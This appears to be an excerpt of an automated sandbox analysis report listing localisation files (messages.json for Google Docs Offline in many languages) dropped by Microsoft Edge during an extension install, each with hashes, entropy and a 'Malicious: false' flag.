Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
